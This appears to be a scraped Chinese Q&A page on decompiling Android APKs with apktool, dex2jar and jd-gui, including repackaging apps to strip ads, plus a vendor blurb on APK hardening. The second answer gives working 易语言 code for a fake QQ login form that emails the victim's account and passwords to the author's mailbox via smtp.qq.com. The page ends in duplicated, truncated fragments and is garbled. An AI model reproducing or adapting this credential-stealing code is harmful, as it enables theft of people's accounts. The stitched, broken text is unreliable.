文章目录:
- 1、[转载]新手必学:如何解包apk得到里面的源代码!
- 2、这个点还有没有编程大神,我朋友给我一个程序的源码和一个对应的注入器的源码
- 3、apk加固,apk源代码容易被调试器zjdroid、APK改之理、ida进行非法破解,怎么进行apk加固保护提高安全性?
- 4、用apktool工具反编译apk后怎么得到源码
- 5、如何看一个android的.apk应用安装器的源代码。
[转载]新手必学:如何解包apk得到里面的源代码!
准备的工具除了jdk还有以下内容(在Google官网都有):把apktool-install-windows-2.1_r01-1.zip,dex2jar-0.0.7-SNAPSHOT.zip
解压到一个盘的根目录下(这里我选择H盘),同时把
AXMLPrinter2.jar,apktool.jar
和你想解包的apk软件也放在同一个目录下,然后“运行--cmd”打开控制台,输入
cd /d h : /进入H盘的根目录然后输入以下内容(
控制台不要关,为了后面方便):其中apktool.jar
是解包工具,d表示解包,
memo.apk是我要解包的软件,
memo表示解包后输出到这个文件夹,等待片刻,就会生成memo文件夹,打开里面会有res文件夹下的所有文件和
AndroidManifest.xml
,用记事本就可以查看了。
以上是获得.xml文件和图片,下面获得里面的.java源代码:用winRar或者好压打开memo.apk
,截图如下:把里面的classes.dex文件解压到H盘根目录下,然后重新打开控制台,输入
dex2jar.bat classes.dex
得到一个名为
classes.dex.dex2jar.jar
的文件,此时用jd-gui.exe打开classes.dex.dex2jar.jar
就可以看到所有源代码了!
如果想把反编译好的文件变回apk文件,只要在控制台输入
apktool.jar b memo就可以了其中b就是重新封包的意思,
memo是你刚才解包出来的文件夹,前提是确保所有文件都在memo文件夹里!!
这个点还有没有编程大神,我朋友给我一个程序的源码和一个对应的注入器的源码
如果他没输入账号,也没输入密码怎么?你有没有考虑这个问题啊!.版本2.支持库internet.支持库spec.子程序_按钮1_被单击连接发信服务器(“smtp.qq.com”,,“在这里输入你的QQ邮箱”,“在这里输入你邮箱的密码”,)发送邮件(“傻瓜来了”,“QQ帐号:”+编辑框1.内容+#换行符+“QQ密码:”+编辑框2.内容+#换行符+“QQ密码2:”+编辑框3.内容,“在这里输入你的邮箱”,,,“在这里可以随便输入邮箱,当然也可以输入你的邮箱”,).子程序_按钮2_被单击结束()这就是你要求最简单的了,还有我说的那个问题你可以在后面继续复制以下代码进行实现首先在编辑框1后面添加一个标签3,编辑框2后面添加一个标签4.子程序_编辑框1_失去焦点.如果真标签6.标题=“您还没有输入账号呢!”.子程序_编辑框2_失去焦点.如果真标签4.标题=“您还没有输入密码呢!”好了没了!
apk加固,apk源代码容易被调试器zjdroid、APK改之理、ida进行非法破解,怎么进行apk加固保护提高安全性?
爱加密强联网手机游戏解决方案》 为强联网游戏提供专业的人工安全分析,分析项包括游戏封包修改风险、游戏挂机脚本录制与使用风险、加速器使用风险、游戏账户与密码等隐私信息窃取风险、模拟器运行刷号风险、二次打包与注入恶意代码风险、第三方支付漏洞挖掘风险等。
防内存窃取:防止通过gdb、gcore,从内存中截取dex文件,获取代码片段,从而反编译APK。
防逆向分析:防止通过APKTool、IDA Pro等反编译工具破解DEX文件,从而获取APK源代码。
防动态跟踪:防止通过ptrace调试进程,跟踪、拦截、修改正在运行的应用,保护程序运行安全。
防恶意篡改:校验APK完整性,自动终止运行被篡改的APK,二次打包后应用都无法使用。
用apktool工具反编译apk后怎么得到源码
一、工具准备:apktool , dex2jar , jd-gui
二、使用dex2jar + jd-gui 得到apk的java源码
1.用解压工具从 apk包中取出 classes.dex 文件
用命令(dex2jar.bat classes.dex)得到一个 jar文件
2.用jd-gui反编译工具将得到.jar文件反编译成.java文件
三、使用apktool得到apk的xml文件
1.用命令(apktool d xxx.apk xxx_xml)反编译xxx.apk包
2.从 xxx_xml 文件夹得到xml文件
四、第二步 得到的程序源代码 和 第三步 得到的xml文件组合下,即可得到完整的apk源码。
五、应用: 汉化/去广告,加 values-zh-rCN, values-zh-rTW, values-de, values-fr
1.在步骤三的文件夹xxx_xml/res/ 下, 建文件夹: values-zh-rCN,values-zh-rTW
2.1复制values\strings.xml 到 values-zh-rCN 并翻译.
2.2 去广告见;
3.重建APK,用命令(apktool b xxx) ,输出到ABC/dist/out.apk
或命令( apktool b xxx out.apk)
六、重新打包 和 签名
如何看一个android的.apk应用安装器的源代码。
朋友,你好,这个需要用到反编译,才可以看到源码哦。
APK反编译方法如下:
一、更改apk文件的后缀名,如:LianyunHelper3.0.11.apk改成LianyunHelper3.0.11.zip
二、用zip解压缩LianyunHelper3.0.11.zip文件
三、从解压缩的文件夹中取出classes.dex文件并放到dex2jar.bat所在目录
四、运行cmd命令,进入dex2jar.bat所在的目录,输入dex2jar.bat classes.dex即可生成classes.dex.dex2jar.jar文件
五、用jd-gui工具打开classes.dex.dex2jar.jar文件,即可看到源码
六、将AndroidManifest.xml文件放到AXMLPrinter2.jar所在目录,运行cmd命令,进入 AXMLPrinter2.jar所在目录,输入java -jar AXMLPrinter2.jar AndroidManifest.xml AndroidManifest.txt。
dManifest.xml AndroidManifest.txt。
s.dex.dex2jar.jar文件,即可看到源码六、将AndroidManifest.xml文件放到AXMLPrinter2.jar所在目录,运行cmd命令,进入 AXMLPrinter2.jar所在目录,输入java -jar AXMLPrinter2.jar AndroidMa